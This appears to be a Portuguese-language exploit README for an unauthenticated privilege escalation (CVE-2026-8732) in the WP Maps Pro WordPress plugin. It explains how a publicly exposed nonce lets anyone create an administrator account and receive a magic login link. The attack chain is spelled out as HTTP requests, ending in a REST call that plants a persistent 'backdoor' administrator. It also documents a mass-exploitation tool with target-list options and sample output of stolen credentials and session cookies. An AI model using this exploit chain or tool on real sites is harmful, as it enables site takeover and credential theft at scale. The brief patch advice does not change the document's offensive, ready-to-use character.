
WP Maps Pro <= 6.1.0 - Escalação de Privilégios Não Autenticada via Criação de Conta de Administrador
♡ Escalação de Privilégio Não Autenticada via Criação de Conta de Administrador ♡
=== shadow ♡ & friska ===
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-8732 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Autenticação Ausente para Função Crítica |
| Plugin | WP Maps Pro (wp-google-map-gold) |
| Afetado | Todas as versões ≤ 6.1.0 |
| Corrigido | 6.1.1 |
| Publicado | 28 de maio de 2026 |
| Pesquisador | David Brown |
| PoC | Shadow & Friska 😈 |
O plugin WP Maps Pro para WordPress é vulnerável a Escalação de Privilégio Não Autenticada via Criação de Conta de Administrador.
A ação AJAX wpgmp_temp_access_ajax é registrada com wp_ajax_nopriv_ e protegida apenas por uma verificação de nonce usando o nonce fc-call-nonce — que está publicamente embutido em todas as páginas do frontend via wp_localize_script como o campo nonce do objeto JavaScript wpgmp_local.
Isso torna a verificação do nonce completamente ineficaz como mecanismo de controle de acesso, permitindo que atacantes não autenticados:
wpgmp_temp_access_support com check_temp=falsewp_set_auth_cookie() — concedendo acesso total de administradorResultado: Comprometimento completo do site sem nenhuma autenticação prévia.
is_admin() — Mas is_admin() é Sempre Verdadeiro para AJAX// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = VERDADEIRO para todas as requisições admin-ajax.php!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = não autenticado!
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← VAZADO para o HTML público!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
Qualquer visitante pode ler o nonce do código-fonte da página. Nonces do WordPress são tokens CSRF — não tokens de autenticação.
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← contornado via nonce público
// NENHUMA verificação current_user_can()!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // nome de usuário aleatório
$email = '[email protected]'; // e-mail fixo
$role = 'administrator'; // função fixa ← CAUSA RAIZ
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← URL mágica retornada ao atacante!
}
}
init — Sem Expiração, Sem Uso Único// Vinculado ao init — executa em TODA requisição, sem autenticação necessária
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Dentro de get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSÃO DEFINIDA COMO ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECIONA PARA O PAINEL
[Atacante Não Autenticado]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() disparado
← 302 → /wp-admin/
│
▼
[Acesso Completo de Administrador] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[Backdoor Persistente Criado] 😈
shadow.py — Cadeia de Exploração CompletaAlvo único ou exploração em massa.
# Interativo
python3 shadow.py
# Alvo único
python3 shadow.py -u https://target.com
# Exploração em massa
python3 shadow.py -f targets.txt -t 20
Fases da Exploração:
Fase 1 ▶ Detecção do Plugin e Funcionalidades
Fase 2 ▶ Varredura de Nonce (crawler paralelo)
Fase 3 ▶ Criação de Admin via AJAX
Fase 4 ▶ Login Mágico (wp_set_auth_cookie)
Fase 5 ▶ Backdoor Persistente (REST API)
Saída (pwned.txt):
1.
=======================================================
Alvo : https://target.com/wp-admin/
Usuário : shadow_xxxxx
Senha : Xk9#mQ2pLrTv8nYw
E-mail : [email protected]
Mágica : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
Atualize o WP Maps Pro para a versão 6.1.1 ou superior.
[shadow ♡ friska] — para fins educacionais e pesquisa de segurança autorizada apenas